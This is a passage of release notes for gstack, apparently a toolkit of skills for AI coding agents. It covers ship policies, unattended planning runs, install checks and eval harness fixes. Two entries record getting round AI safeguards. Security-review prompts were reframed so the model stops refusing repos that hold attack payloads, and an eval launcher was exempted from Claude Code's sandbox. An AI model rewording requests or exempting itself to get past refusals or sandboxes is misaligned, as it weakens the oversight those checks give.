- **`.gstack/ship-policy.json`** declares the repo's bump policy, `queue_mode` (`claim-at-open` or `stamp-at-merge`), `release_tool` and its allowed outputs, `stamp_paths`, CHANGELOG rules, mirror, history policy (`merge-only`), preregistration SHAs, stamp-sensitive gates, PR count and maintainers. `bin/gstack-ship-policy init|validate|show-effective|check-history` reads it from `origin/<base>` (never the working tree silently; `POLICY_SOURCE_UNAVAILABLE` on a shallow checkout); a policy that only exists on the branch is labeled `head (unreviewed)`. Commands the policy names run only under `--allow-repo-commands` or inside `/ship`; a refusal happens before any write and says `nothing written`. `docs/ship-policy.md`; `.gstack/ship-policy.example.json`.
- **`bin/gstack-restamp --version X | --next | --after <pr>`**: under `stamp-at-merge`, `--next` is the base's configured version source plus the policy bump (claims ignored); `--expect-base <sha>` and `--expect-order <pr,...>` re-validate right before merge and return `QUEUE_STALE` with the exact recomputation command when either moved; `--after <pr>` builds the gate-ahead merge in a throwaway worktree, stamps relative to the predecessor and records its head and the evidence branch key in `.gstack/tmp/gate-ahead.json`, leaving the PR branch's history untouched. The release tool runs in a staging worktree against an enumerated allowed-output set with preimages and postimages; every stage is journaled (`.gstack/tmp/restamp-journal.json`) so a failure resumes or rolls back, and a rollback refuses to overwrite a later user edit (`RESTAMP_CONFLICT`). Idempotent; `--dry-run` prints the full diff and writes nothing. Stamp rewriting is provenance-based: `(was X)`, `since: X` and `vX` are rewritten only where they are the branch's own tentative stamp, so a dependency pin that equals the old version is never touched.
- **`bin/gstack-tree-receipt`** compares committed heads hunk by hunk with per-file-type rules (version file, manifest version, lockfile root `version` keys only, CHANGELOG heading move, exact stamp patterns) and prints `TREE: same-modulo-stamps` or `TREE: changed (<paths>)` plus `gate-reuse: eligible` or `not-eligible (<what changed>) — fix: …`. Equivalence is per gate: lanes the policy marks stamp-sensitive always rerun. `PREDECESSOR MOVED <old> -> <new>` refuses reuse when the gate-ahead predecessor moved.
- **`gstack-evidence bundle`** exports comparison material, the required-lane manifest, executed selections, run URLs, outcomes, hashes and execution identity (runtime, normalized lockfile hashes, CI workflow tree, runtime pins, runner image), distinguishing verified from imported lanes; a coordinator on a fresh machine reads it after the gate VM is gone and reuse is refused when identity is unknown. `gstack-evidence ancestor` checks preregistration SHAs are ancestors (`PREREGISTRATION_NOT_ANCESTOR`).
- **`bin/gstack-ship-receipt write|read --pr|census`** writes the fenced, schema-versioned ship receipt as the first block of the PR body (session kind, tree verdict, gate reuse, policy, queue mode, preregistration, history, artifacts consumed) and `census --repo --since <tag>` computes the adoption number over merged PRs, deduplicated by run and thread against a cohort file.
- **`/ship`**: Step 3 prints the policy and history lines, Step 12 under stamp-at-merge calls `gstack-restamp` and never asks for a version when the policy says `bump patch`, Step 16 consults the tree receipt per lane and leaves `--force-gate <reason>` to the coordinator, and the PR body opens with the receipt. gstack's own policy is committed (`bump ask`, `claim-at-open`, `release_tool: bun scripts/gen-agents-digest.ts`).

### Itemized changes

#### Added
- `lib/ship-policy.ts`, `lib/restamp.ts`, `lib/changelog-check.ts`, `lib/tree-receipt.ts`, `lib/evidence-bundle.ts`, `lib/ship-receipt.ts`; `bin/gstack-ship-policy`, `bin/gstack-restamp`, `bin/gstack-tree-receipt`, `bin/gstack-ship-receipt`; `gstack-evidence bundle|ancestor`; `.gstack/ship-policy.json`, `.gstack/ship-policy.example.json`, `docs/ship-policy.md`; 22 result codes with troubleshooting anchors (`POLICY_*`, `QUEUE_STALE`, `RESTAMP_*`, `CHANGELOG_*`, `GATE_REUSE_NOT_ELIGIBLE`, `EVIDENCE_*`, `PREREGISTRATION_NOT_ANCESTOR`, `HISTORY_POLICY_VIOLATION`, `RECEIPT_*`).

#### Changed
- `lib/headless-artifacts.ts` ship-receipt schema extended (thread, tree enum, gate_reuse, policy, queue_mode, preregistration, history); `gstack-artifact validate --as ship-receipt`.
- `ship/SKILL.md.tmpl` Steps 3, 12, 16 and `ship/sections/pr-body.md.tmpl`; union bytes +462 (1,937 headroom) paid for by condensing unpinned sentences and moving queue and receipt instructions into `gstack-ship-policy show-effective`'s `ship:` lines and `gstack-restamp`'s `next:` line. Four ship goldens regenerated.

#### For contributors
- New tests: `test/gstack-ship-policy.test.ts`, `test/gstack-restamp-queue.test.ts` (three PRs reordered twice with zero manual edits, injected failure after every stage, concurrent-edit conflict, squash-history gate-ahead, `QUEUE_STALE`, release tool writing outside its allowed set, metadata-only lockfile change, version-source shapes), `test/restamp-command-boundary.test.ts`, `test/tree-receipt-stamp-sensitive.test.ts` (including the dependency-pin negative fixture), `test/evidence-bundle-portability.test.ts` (fresh clone, empty state root), `test/gstack-ship-receipt.test.ts`; fixture helper `test/helpers/restamp-fixture.ts`.
- Not in this release: the policy's `mirror` is parsed and validated but its stage prints `skipped (no mirror in policy)` (tier 2); C4 regen registry, C6 issue links and the C8 pre-gate follow in C-pregate.

## [1.91.72.0] - 2026-10-11

**`/autoplan` runs unattended end to end: `gstack-autoplan next|submit` drives the review phases as a durable state machine for a parent agent, the outside voice is a pluggable runner (Codex CLI, API, or a cross-family host subagent), review phases load a short checklist instead of the whole methodology, and the spec-review loop stops honestly at its cap.**

B-core (1.91.70.0) gave gstack the artifact contract and the `unattended` session kind; this release (multi-agent wave PR B-runner) is the loop that produces those artifacts on a machine with no Claude Code harness.

### What this means for you

- **`bin/gstack-autoplan next --out <dir>`** prepares the current phase (snapshot, methodology, prompt), persists the dispatch intent with an attempt id, prints the voice, prompt path, expected result path and required model family, and exits `GSTACK_RESULT: status=awaiting_result`. The parent dispatches the reviewer (a subagent, Codex, or an API call) and returns the result with **`submit --phase --voice native|outside --result <file> --model <id> --attempt <id>`**, which validates the full-read receipt, canonical findings and model family, binds the hash into `run.json` atomically, reconciles both voices and closes the phase. `status`, `export`, `answer --gate-rev --reply`, `resume` and `run` complete the verb set. A stale, unparsed or conflicting reply writes nothing; a non-recommended answer that changes reviewed content reopens only the affected phases with Eng last; `resume` takes exclusive ownership and marks an attempt with dispatch intent but no terminal record `EXECUTION_UNKNOWN` instead of redispatching it. `docs/unattended.md` has the parent loop.
- **`bin/gstack-outside-voice run --runner codex-cli|api|host-subagent`** over one adapter interface (capabilities, input digest, actual model metadata, cancellation, terminal result, usage). A result file from a subagent on another model family is a full outside voice and records its model; a missing Codex CLI is not "degraded" when another runner reviewed. `bin/gstack-codex-login` logs Codex in from `OPENAI_API_KEY`.
- **`--spend-cap`** is enforced by a shared ledger (`lib/spend-ledger.ts`: `spent + reserved + next_estimate <= cap` under a file lock; reservations survive a crash; host-subagent spend is reported `unknown`, not zero).
- **Checklists.** Each plan review skill ships `sections/checklist.md` (under 35 lines) with an output-to-section map; unattended and `light` runs load it and print `Skipped sections: <ids> (scope: …)`, loading the deep section whenever scope detection is uncertain. Manifests gain an optional `scope` (default `always`) and `runner_only`; interactive renders are unchanged.
- **Spec-review loop at the cap** (`gstack-office-hours-review finalize`): numbered unresolved gaps, then either a deterministic `issues verified: k of N` record or `N fixes unconfirmed` with `Decision: spec not re-verified`; never a fourth model launch, never promoted to a verdict.
- **Reconciliation.** When an outside pass runs beside the native one, the consensus table and per-finding reconciliation are computed from canonical finding ids (confirmed, disagree, new), and the Eng prompt refuses to start without the prior phase's consensus (`CONSENSUS_MISSING`).

### Itemized changes

#### Added
- `lib/autoplan-state.ts`, `lib/autoplan-run.ts`, `lib/autoplan-gate.ts`, `lib/autoplan-export.ts`, `lib/autoplan-prompts.ts`, `lib/autoplan-reconcile.ts`, `lib/spend-ledger.ts`, `lib/spec-review-cap.ts`, `lib/outside-voice-runner.ts`, `lib/outside-voice-api.ts`; `bin/gstack-autoplan`, `bin/gstack-outside-voice`, `bin/gstack-codex-login`; `autoplan/sections/unattended.md`; `sections/checklist.md` in the four plan review skills; eleven new result codes with troubleshooting anchors.

#### Changed
- `lib/headless-artifacts.ts`: `ackRun` runs under a file lock (exactly-once ack); `native_counterpart` accepts `null`.
- `scripts/resolvers/sections.ts` types `scope` and `runner_only`; `scripts/resolvers/spec-review.ts` prose names the cap record in all three loop branches.
- Union bytes: plan-ceo/eng/design/devex-review grow under their caps; autoplan +612 (65 bytes of headroom left); ship, review and qa unchanged.

#### For contributors
- New tests: `test/autoplan-run-recovery.test.ts` (kill before and after persistence, no duplicate charge), `test/autoplan-run-concurrency.test.ts` (one of six concurrent submits binds; exactly-once ack), `test/autoplan-answer-invalidation.test.ts`, `test/review-checklists.test.ts` (obligation map with negative controls), `test/outside-runner-contract.test.ts`, `test/spend-ledger.test.ts`; `test/office-hours-review.test.ts` and `test/office-hours-completion.test.ts` cover the cap record.
- Not in this release: the rendered Codex prose still shells to `codex` directly (`scripts/resolvers/outside-voice-steps.ts`); routing it through `bin/gstack-outside-voice` touches 21 Codex-pinned tests and the ship/review byte budgets, so it follows separately. `gstack-autoplan run` (the in-process loop) is typechecked but exercised only through `next`/`submit`.

## [1.91.71.0] - 2026-10-10

**A parent agent can now confirm a gstack install with one grep: `gstack-doctor --check` prints one PASS/FAIL/SKIP row per component and exactly one `gstack: ok … for=<skill>` or `gstack: fail <ids>` trailer with a real exit code, and `gstack-capy-install` sets up a Capy machine without downloading Chromium.**

The user-scope Capy installer's `--check` certified machines with nothing installed, planning machines paid 86 s for a browser they never opened, and `./setup` exited before its own repair step on an image whose Bun was below gstack's floor. This release is PR A of the multi-agent wave (`docs/designs/MULTI_AGENT_WAVE_2026_10_10.md`).

### What this means for you

- **`gstack-doctor --check [--for <skill> | --require <csv>] [--project <path>] [--revision <ref>] [--json] [--live]`.** Rows are `PASS|FAIL|SKIP <id> <detail>` (`claude codex patch codex-cli browse-bundle browser cso runtime pins state-root privacy cores revision`); every FAIL carries `fix: <exact command>` and a reason code with a `docs/troubleshooting.md` anchor. `--for autoplan` requires only what autoplan needs: a healthy Capy machine with Claude subagents as the outside voice and no Codex CLI passes. The paid Codex probe runs only with `--live`. Exit 0 only when every required component passes; 1 on a FAIL; 2 on usage. The doctor still reports with Bun absent or below floor (the component table is generated into sourced bash).
- **The `runtime` row distinguishes gstack's security floor (1.3.3) from its supported minimum (1.4.2)**; the default Capy image's Bun 1.3.14 is a FAIL under `--check`. The new `pins` row reads the *target project's* `packageManager`, `engines`, `.tool-versions`, `.nvmrc`, `.bun-version` and CI matrix pins (per lane, so a Windows pin never blocks a Linux run) and names each constraint's source.
- **`bin/gstack-capy-install`** (Capy cloud Ubuntu): Bun/Node/jq preflight before `./setup` (Bun upgraded from the exact release archive with SHA-256 verification when gstack's minimum and the project pin agree; `RUNTIME_PIN_CONFLICT` stops with both printed and installs nothing), reuses an existing checkout without reset or pull, runs both host setups without the browser, prints planning-only install time separately, and ends with the doctor trailer plus `GSTACK_LAUNCH: GSTACK_SESSION_KIND=unattended GSTACK_STATE_ROOT=<path> GSTACK_EPHEMERAL=1` for the parent to pass to every gstack command. `--revision <ref>` on a checkout at another revision reports `(requested <ref>; run gstack-upgrade to move)`, never pulls. See `docs/capy-install.md`.
- **Chromium is lazy.** `./setup --no-browser` is a documented flag; `bin/gstack-browser-ensure` installs the browser on the first browser-skill run under setup's lock, and every browser skill's fallback detection calls it. `--check` reports `SKIP browser (lazy; gstack-browser-ensure installs on first use)` for planning skills.
- **`./setup --status` exits 1** when an install has broken section links instead of always 0.
- The doctor's `state root` row prints `durable=yes|no` from the `GSTACK_EPHEMERAL=1` marker (`docs/state-root.md#ephemeral-machines`).

### Itemized changes

#### Added
- `bin/gstack-doctor-check.sh` (sourced by `bin/gstack-doctor`), `lib/doctor-components.ts` → generated `bin/gstack-doctor-components.sh` (`scripts/gen-doctor-components.ts`, freshness-tested), `lib/runtime-pins.ts` + `bin/gstack-runtime-pins.ts`, `lib/result-codes.ts` (`COMPONENT_MISSING`, `RUNTIME_BELOW_MINIMUM`, `PROJECT_PIN_MISMATCH`, `REVISION_UNMET`, `RUNTIME_PIN_CONFLICT`, `BROWSER_UNAVAILABLE`, `INSTALL_PREFLIGHT_FAILED`), `bin/gstack-capy-install`, `bin/gstack-browser-ensure`, `docs/capy-install.md`.

#### Changed
- `setup`: `--no-browser`, `--status` exit code, Bun install hint uses the release-archive recipe (`bash "$tmpfile" "bun-v$BUN_VERSION"`; the install script pins by positional argument). Bun release checksums live in `bin/gstack-bun-version.sh`.
- `scripts/resolvers/browse.ts`: `$B` detection runs `gstack-browser-ensure` before `READY`, byte-neutral on the zero-headroom skills.

#### For contributors
- New tests: `test/gstack-doctor.test.ts` `--check` fixtures (healthy, each missing component, wrong host, missing auth, runtime mismatch at both floors, bun removed from PATH, pins, unmet revision, browser only for browser skills, `--json`, usage), `test/gstack-capy-install.test.ts`, `test/gstack-browser-ensure.test.ts`, `test/runtime-pins.test.ts`, `test/doctor-components.test.ts`.
- Any later change to browse.ts prose needs a reversal entry in `test/helpers/manual-judge-review-fixture.ts`; new gen-skill-docs sibling modules need an entry in `test/gen-skill-docs-prune-stale.test.ts`; new network operations in `bin/` need an `egress-receipt-wiring` entry.

## [1.91.70.0] - 2026-10-10

**gstack runs unattended for a parent agent: one artifact contract a parent can validate, an `unattended` session kind that never prompts or syncs, a review log whose status is derived from its findings, and a gate list that is written, never auto-approved.**

Parent agents running gstack on a subagent machine had no way to tell a finished `/autoplan` from an interrupted one, no session kind that meant "nobody is at the keyboard but this is not CI", and a review log whose `clean` status could disagree with its own findings. This release is the first half of the multi-agent wave (`docs/designs/MULTI_AGENT_WAVE_2026_10_10.md`, PR B-core).

### What this means for you

- **`GSTACK_SESSION_KIND=unattended`** is a fourth session kind, honored only as the explicit override. It suppresses every prompt and publication the way `spawned` does and also skips the telemetry writer, the artifacts sync and the brain spool with an explicit line each (`TELEMETRY_WRITE: skipped`, `ARTIFACTS_SYNC: skipped (unattended session; …)`), whatever settings the machine inherited. `headless` keeps its BLOCK meaning, so no eval case changes.
- **Every run prints `STATE_ROOT: <path> durable=yes|no`.** With `GSTACK_EPHEMERAL=1` set by the host, an unattended run says `learnings: skipped (state root is ephemeral; set GSTACK_STATE_ROOT)` instead of writing to a disk that will vanish.
- **`/autoplan` unattended writes a run directory** (`run.json`, `decisions.jsonl`, `findings.jsonl`, `tasks.jsonl`, `timing.json`, `plan.md`, `review-record.md`) and ends with `GSTACK_RESULT: skill=autoplan status=gate_pending run=<dir>`. `gstack-artifact validate run.json` is the one deterministic completion check; it fails on an interrupted run, a missing reviewer, a stale artifact, a findings count that disagrees with the file, duplicate ids, dependency cycles or a path that escapes the run directory. `docs/unattended.md` shows the six-step parent flow with `jq` and `grep`.
- **The final gate is one list with one reply grammar** (`all`, `<id><option>`, `all except …`), stable ids across pages, `auto` versus `approval` items, and a `gate_rev` that rejects a stale reply with no writes. Unattended runs never approve their own gate.
- **`## URGENT, outside this plan`** is the fixed first block of every autoplan report and plan, `None.` when nothing was raised.
- **Review-log rows derive their status from findings.** `gstack-review-log --findings <path>` computes `status`, `unresolved`, `issues_found`, `critical_gaps`, `findings_total/open/resolved` from the file and rejects a row whose claimed values disagree (`REVIEW_STATUS_MISMATCH`, exit 1; usage is exit 2).
- **Timing.** Phase 0 prints an estimate from your last ten runs (`no history` when empty) and the report prints the actual whole-cycle time next to it.
- On hosts that do not execute hooks, `/autoplan` prints `autoplan guard: not enforced by this host; publication order is unverified (GUARD_NOT_INSTALLED)` once; Claude Code's deny-on-absent hook is unchanged.

### Itemized changes

#### Added
- `lib/headless-artifacts.ts` (schemas, `validateRun`, `ackRun`, `GSTACK_RESULT` grammar, shared exit table) and `bin/gstack-artifact validate|schema|ack|urgent [--json]`.
- `lib/result-codes.ts`: reason codes with `docs/troubleshooting.md` anchors and `fix:` clauses for every new error line (`ARTIFACT_*`, `GUARD_NOT_INSTALLED`, `REVIEW_STATUS_MISMATCH`, `GATE_REV_STALE`, `GATE_REPLY_UNPARSED`).
- `lib/gate-list.ts` and `bin/gstack-gate render|parse|decisions`.
- `lib/autoplan-timing.ts` and `bin/gstack-autoplan-timing start|close|estimate|summary`; analytics at `<state root>/analytics/autoplan-timing.jsonl`, skipped with a printed line on an ephemeral root.
- `docs/unattended.md`; reference run under `test/fixtures/multi-agent-wave/reference-run/`.

#### Changed
- `bin/gstack-session-kind` and `bin/gstack-skill-start`: `unattended` whitelisted; an unknown kind prints `SESSION_KIND: interactive (unknown kind '<x>')`; `STATE_ROOT`, `UNATTENDED_SESSION`, telemetry, sync and brain-spool skips; `bin/gstack-skill-end` emits a cached one-line upgrade notice instead of draining.
- `lib/review-evidence.ts`: `bindReview` validates a findings file before consuming the start token; `reviewFreshness` reads `findings_open`; legacy counters keep their conservative reading.
- `autoplan/SKILL.md.tmpl` and `phase-close`: run id and estimate in Phase 0, gate list and URGENT block in Phase 4, timing on close. Union bytes shrank on every skill (autoplan −163); nothing grew.
- Preamble and `auq-error-fallback-hook`: unattended resolves the recommended option and logs it.

#### For contributors
- New tests: `test/headless-artifacts.test.ts`, `test/gate-list.test.ts`, `test/autoplan-timing.test.ts`, `test/review-log-findings.test.ts`; `test/gstack-skill-start.test.ts` gains an instrumented egress test (telemetry, sync and update-check sinks receive zero calls under unattended, all three under interactive).
- `CARVE_GUARDS` autoplan `gateAfterStop` marker now keys on the gate file write; golden ship renders refreshed.

## [1.91.69.0] - 2026-10-10

**/cso eval cells now get time to finish their report, keep their spend when they run out of time, and stop mislabeling the helper's own files as secrets.**

The first paid smoke cells that ran real scanners both ended as `REDACTION_FAILED` with no usage and no artifacts after the full 30 minutes. There were three causes.

- **Every artifact path tripped the secret check.** The helper names each run `<epoch ms>-<hex>`, and the secret redactor reads a 13-digit epoch as a phone number. Some 32-hex review IDs also read as wallet addresses. So the first run that actually wrote artifacts failed the post-run inventory, every time.
- **The provider was killed at the budget.** The producer stopped Claude at exactly `--budget` after the cell started. The helper's own deadline is the budget after `start`, and its `finish` writes the report after that deadline. Both agents started the helper within 30 seconds, worked until the deadline, and were killed before they could call `finish`.
- **A kill threw the spend away.** `--output-format json` reports usage only when Claude exits, so a timeout recorded zero tokens.

### What this means for you

- Helper artifact names are checked against the helper's layout: `<repoId>/<runId>/...`, `public-cache/` and `legacy-imports/`. A path component that is wholly a helper identifier is accepted by its shape. Every other component, including source paths mirrored under `snapshot/` and `readable/`, still goes through the secret redactor.
- The producer gives the provider the budget plus 300 seconds of reporting time (`PRODUCER_REPORTING_GRACE_SECONDS`, the evaluator's frozen `graceSeconds`). The helper still refuses evidence after its deadline, so the measured budget is unchanged. The agent just gets to call `finish`, as a user's agent would.
- Claude producers stream events (`stream-json --verbose --include-partial-messages`) and add up usage message by message. A timed-out receipt carries its tokens, estimated cost, turns and the agent's last text, marked `failed` with `timeout`. A run with no successful, nonblank final result still fails.
- A failed post-run check now names the check in the receipt's reason, for example `artifact inventory check: ...`. A redaction rejection says which component failed and never includes the component itself.

### Itemized changes

#### Fixed
- `inventoryProducerArtifacts` validates paths with `assertProducerArtifactPath`. Paths outside the helper layout fail as `INVALID_PRODUCER_ARTIFACTS`. A component that looks like a secret fails as `REDACTION_FAILED` with its position and masked parent.
- `runProducerCell` passes `producerProviderTimeoutMs(budget)`, which is the budget plus 300 s. Integrity failures read `<check> check: <detail>`, and add the provider's own error code when there was one.
- The Claude producer runs through `runClaudeProducerStream` in `test/helpers/providers/claude-stream.ts`. It folds the event stream as it arrives, so no output buffer can overflow. It resolves even when a grandchild holds stdout, and keeps the `Command failed: <command> <args>` reason on a nonzero exit. Non-producer Claude evals are unchanged.

#### For contributors
- `test/claude-producer-stream.test.ts` covers stream accounting, the paid result contract, a timed-out stub, and nonzero and clean exits. `test/cso-eval.test.ts` covers the real helper layout (an epoch run ID and a wallet-shaped review ID), a planted secret-shaped file name, and a timed-out receipt that keeps its usage.
- The evaluator's cells need a matching change: an outer timeout of the budget plus 600 s, and the new Claude flags in the stub preflight prefix.

## [1.91.68.0] - 2026-10-08

**Claude /cso eval cells run the real scanners again, never break their own source check, and still record what they spent when a post-run check fails.**

The first paid baseline smoke cells ran the agent to completion, then stopped with a bare `INVALID_PRODUCER_SOURCE` and no receipt. That meant no tokens, no cost and no clue which file was at fault. The cause was the producer's own Claude launch. It passed the sealed source copy to Claude as an `--add-dir`. Claude Code treats each added directory as a sandbox write root and blocks writes to its `.mcp.json`. With no `.mcp.json` present, bubblewrap creates an empty one on the host as a mount point. Claude Code can't remove it from the read-only directory afterwards, so the source check rightly failed.

### What this means for you

- Claude producers no longer receive the source as an added directory, so the source stays byte-for-byte unchanged.
- The trusted launcher now runs outside Claude Code's sandbox, as it does for users. Inside the sandbox, root-owned paths look like they belong to `nobody` and the Docker socket is unreachable. So the launcher's own checks failed, and every comprehensive cell quietly fell back to a static-only review: `Private state ancestor has an unexpected owner` and `ISOLATION_FAILED: Docker endpoint is not a local Unix socket`. Every other Bash command still runs sandboxed and is denied by the allowed-tools list. Write stays inside the provider work directory.
- When a post-run integrity check fails, the producer writes a receipt with `status: "failed"` instead of no receipt. The receipt carries the check's code and reason, plus the run's usage, tokens, estimated cost, duration and tool calls. This applies to a changed source, mode or Git state, a changed helper or provider installation, an artifact problem, and oversized output. That receipt has no output and no artifacts, and it never counts as succeeded.
- `INVALID_PRODUCER_SOURCE` and `PRODUCER_CHANGED_SOURCE_MODE` name the first offending relative path and the rule it broke, for example `".mcp.json" is not in the expected source listing`. They never include file contents.

### Itemized changes

#### Fixed
- `claudeExecArgs` drops `--add-dir <source>` for CSO producers.
- `claudeExecArgs` passes `--settings` with a sandbox policy for CSO producers: enabled, fail if unavailable, no unsandboxed fallback, no auto-allow for sandboxed commands, and `excludedCommands` holding only the exact launcher path from `--allowed-tools`. It no longer sets `CLAUDE_CODE_SUBPROCESS_ENV_SCRUB`, which in Claude Code 2.1.263 forces every command into the sandbox, `excludedCommands` notwithstanding. The launcher still replaces its environment with a fixed allowlist before it runs anything.
- `ClaudeAdapter.run` refuses to start a producer agent (`CLAUDE_PRODUCER_SANDBOX_POLICY_MISMATCH`) unless the generated arguments and environment carry exactly that policy.
- The README's containment note explains both.
- `runProducerCell` turns post-run check failures into failed receipts that keep usage. A redaction failure still withholds the receipt, as before.
- Source validation reports a missing or extra path, the hard-link count, a size or hash mismatch, symlinks and special files, and a Git `include` directive, each with its path.

#### For contributors
- The sandbox-policy check has tests for a missing, duplicated or `=`-joined `--settings`, a widened or symlinked exclusion, fallback or auto-allow turned on, extra keys, widened allowed tools, and the scrub variable.
- New tests cover a failed receipt for a provider race, a helper-generation change, oversized output, four source mutations (including a leftover empty `.mcp.json`), and a mode change. Each test checks the usage numbers and confirms collection counts the cell as failed.

## [1.91.67.0] - 2026-10-08

**Antigravity CLI is now a gstack host.**

Eight contributors sent PRs asking for Antigravity support. This release builds one host on the current host system, using paths and tool names checked against Google's Antigravity docs on 2026-10-08.

### What this means for you

Run `./setup --host agy` (or `--host antigravity`). Every skill installs into `~/.gemini/antigravity-cli/skills/`, and you invoke each one as `/gstack-<skill>`. `--host auto` picks Antigravity up when `agy` is on your PATH or `~/.gemini/antigravity-cli` exists.

Skills are rendered with Antigravity's own tool names (`run_command`, `view_file`, `ask_question`, `invoke_subagent` and the rest) and the Gemini model profile. The host is experimental until a real Antigravity session certifies it.

### Behavior changes you may notice

- **Gemini CLI's files are left alone.** Gemini CLI shares `~/.gemini`, but gstack never touches `~/.gemini/skills` or Gemini CLI's settings. A machine with only Gemini CLI is never detected as Antigravity.
- **Not covered yet:** the Antigravity 2.0 app and the IDE, which read `~/.gemini/config/skills`.

### Itemized changes

#### Added
- The `agy` host (alias `antigravity`):
  - Frontmatter is limited to `name` and `description`, and the build fails if a description exceeds 1,024 characters.
  - A tool glossary, the Gemini overlay, and an `AGENTS.md` rewrite.
  - Advisory-only safety skills, with Review Army suppressed, as on Copilot.
- Setup, `--status`, uninstall and team-init cover the host. Its render is kept under "render only installed hosts", and setup fails if no skills were linked.

#### For contributors
- docs/ADDING_A_HOST.md records how each of the nine Antigravity PRs was used, or why it wasn't.
- Built on work by @0xshae (#2134), @ManchalaSashank (#2893), @voipexpert (#2726) and @KiDDarn (#2244).
- Still to verify on a real install: symlinked skill directories, the `/gstack-*` commands appearing, `ask_question` option handling, partial `view_file` reads on long skills, and upgrading an existing install.

## [1.91.66.0] - 2026-10-08

**/autoplan no longer asks permission to read its own files after a background reviewer finishes.**
**34 contributor PRs from the outside-PR backlog land in this release, rewritten on current code with credit.**

On Claude Code 2.1.292, interactive sessions run /autoplan's reviewers in the background. When a reviewer finishes, its completion notice starts a new turn, and in that turn Claude Code no longer applies the skill's allowed tools. So reading the next phase's instructions, the phase close packet and later reviewers' own inputs each raised an "allow this?" prompt. This release also works through the outside-PR backlog together with GSTA-27: every open PR was checked against current main, and the open count went from about 200 to about 20.

### The numbers that matter

| Check | Before | After |
|---|---|---|
| Permission prompts for /autoplan's own files in the scripted live run (2.1.292, default settings) | 2 | 0 |
| Same, through `claude --bg` and `claude attach` | 1 | 0 |
| Outside PRs adopted in this release, rewritten with credit | 0 | 34 |
| Outside PRs closed by this thread, each with a specific reason | 0 | 113 (46 already fixed or stale, 32 declined, 35 parked in TODOS.md) |

### What this means for you

Run `/gstack-upgrade`. /autoplan now keeps its restore point and phase artifacts in the project's git-excluded `.gstack/tmp/autoplan/`. Both /autoplan and its reviewers read files there without a prompt, and a `git clean -x` removes them. Two prompts remain:
- In Manual permission mode, /autoplan's Bash commands still ask after the first background reviewer.
- A session started in a subdirectory of the repo still asks when a reviewer reads its input.

Both are tracked in TODOS.md.

### Behavior changes you may notice

- **Skills reply in the language of your latest message.** Code, commands, paths, identifiers and question markers stay as written. Thanks @shrektan (#679).
- **`/benchmark` routes only web page performance requests.** Model and skill benchmarks go to `/benchmark-models`. Thanks @creatornader (#2302, #2083).
- **Required team mode's hook is now `check-gstack.cjs`, registered with a command that has no shell variables.** It now allows and denies correctly under cmd.exe, PowerShell and Copilot CLI. Re-running `gstack-team-init required` migrates an old `.sh` registration in place. Thanks @neallee2012 (#2217).

### Itemized changes

#### Added
- `browse viewport auto` (aliases `reset`, `unpin`) undoes a `viewport WxH` pin without a restart. In headed mode the page follows the real browser window again, keeping cookies, storage, the tab and loaded HTML; headless returns to 1280x720. Thanks @loulanyue (#2782) and @jbetala7 (#1881).
- `browse screenshot` accepts `--clip=x,y,w,h` and `--selector=<css>` alongside the space-separated forms. Thanks @techcenter68 (#1563).
- Pre-push redaction: a committed `.gstack-redact-allowlist` at the repo root clears a reviewed, known-benign value by its exact matched text, and every push lists what it suppressed. A substring or a different credential still blocks. Thanks @boyard (#2598).
- Artifacts sync can publish removals. With `gstack-config set artifacts_sync_removals on`, deleted or slug-moved files stop lingering on the remote and in the brain. More than 20 removals at once wait for `gstack-brain-sync --publish-removals --yes`. Thanks @Jey2311 (#2892).
- Windows: `.\setup.ps1` checks for Git for Windows, Bun and Node.js, then runs `./setup` in Git Bash with your arguments passed through unchanged. Thanks @jimmckeeth (#657).
- The design binary honors `OPENAI_BASE_URL`, so image generation and screenshot analysis can go through an OpenAI-compatible gateway; egress receipts record the gateway host. Thanks @jackjin1997 (#932).
- On Codex, /design-shotgun generates and edits mockups with Codex's built-in `$imagegen`, so ChatGPT-signed-in users need no `OPENAI_API_KEY`. The design binary still serves the comparison board. Thanks @jinzheio (#2175).
- The sidebar terminal toolbar has an XS–XL text-size picker. It defaults to today's 13px and remembers your choice. Thanks @tomfluff (#2288).
- `gstack-developer-profile --reconcile` backfills office-hours tenure from `timeline.jsonl`. Backfilled rows count toward the tier but never appear as "last time" context. Thanks @briacSck (#2668).
- `/retro` saves its "3 Things to Improve" in the snapshot, and the next retro reports how many prior recommendations were addressed. Thanks @jbetala7 (#1853).
- `gstack-global-discover` splits Codex sessions by originator (interactive CLI, Desktop, `codex exec`, Claude Code, other), per repo and in total, so `/retro global` can tell interactive work from scripted runs. Thanks @0xDevNinja (#1488).

#### Changed
- `/review`'s testing specialist treats a new negative assertion as a behavior decision that needs cited intent, and catches old negative assertions that a rename or removal made vacuous. Thanks @EmilianoU26 (#2861).
- `/review`'s security specialist checks four access-control leaks that a route-guard read misses: error pages built outside the guard, ownership surviving a role downgrade, list/detail/download paths checked as one, and a session changed before the identity-switch callback is validated. Thanks @EmilianoU26 (#2859).
- `/review` says a clean diff can come back with zero findings, and stops flagging six common false positives. Thanks @frosimanuel (#2820).
- `/review`'s value-completeness check also fires when a diff loosens what an input accepts, and the maintainability specialist flags user-facing strings whose guarding condition changed. Thanks @aversini (#2141).
- `/review` and `/ship` give the security specialist and the Red Team the same defensive-security framing as the adversarial pass, so repos with attack-payload test corpora no longer get those passes refused. Thanks @bmajewski (#1921).
- `/design-review` reads your code's design tokens before falling back to universal principles, and its target mockups reuse your palette, fonts, radii and spacing. Thanks @tomdinh24 (#1920).
- `/setup-deploy` no longer assumes Vercel deploys on push; CLI-only projects record their real deploy command. Thanks @mikehasa (#2992).
- The shared voice bans "load-bearing", and the closer guidance is shorter. Thanks @creatornader (#1795).
- GitLab CI and the Ubicloud free-suite setup install Bun from the SHA-256-verified release archive instead of piping bun.sh/install into bash. Thanks @spacegeologist (#1713).
- CI's GitHub Actions SHA pins are refreshed (docker/setup-buildx-action 4.4.1, docker/build-push-action 7.4.0, actions/attest 4.2.2, actions/setup-node 7.0.0), each with its exact version comment (#2988).

#### Fixed
- The pre-push scan reads merge-commit lines without their second parent column, so a merge that resolves a release bump no longer reports its version strings as public IPs.
- /autoplan's own section files and phase artifacts no longer raise permission prompts after a background reviewer's completion notice, in the foreground or with `claude --bg`. The publication guard's checks are unchanged.
- The outside-review classifier reads a trailing `— Medium.` or `(High)` severity on a finding line, the shape Codex now writes. Before this, such a review was reported `unverified`.
- `gstack-hook-check` checks the hooks skills register (/careful, /freeze, /guard, /investigate, /plan-ceo-review), the shell helpers they source, and conflict markers that still parse, including in imported modules. It also ignores the calling project's tsconfig.json and bunfig.toml. Thanks @BenjaminDSmithy (#3066).
